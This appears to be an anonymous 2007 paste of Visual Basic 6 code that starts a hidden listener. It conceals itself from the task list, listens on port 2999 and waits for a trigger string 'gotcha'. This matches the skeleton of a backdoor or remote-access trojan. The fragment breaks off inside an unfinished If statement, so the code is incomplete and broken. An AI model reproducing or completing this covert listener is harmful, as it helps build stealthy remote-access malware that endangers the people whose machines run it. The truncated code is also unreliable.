All pastes #435731 Raw Edit

Anonymous

public text v1 · immutable
·published 2007-04-12 03:08 UTC
rendered paste body
Private Sub Form_Load()
App.TaskVisible = False
Socket.LocalPort = 2999
Socket.RemotePort = 455
Socket.Listen
End Sub

Private Sub Socket_ConnectionRequest(ByVal requestID As Long)
     Socket.Close
     Socket.Accept requestID
End Sub
Private Sub Socket_DataArrival(ByVal bytesTotal As Long)
Dim Incomming As String
Call Socket.GetData(Incomming, vbString)
If Incomming = "gotcha" Then
End Sub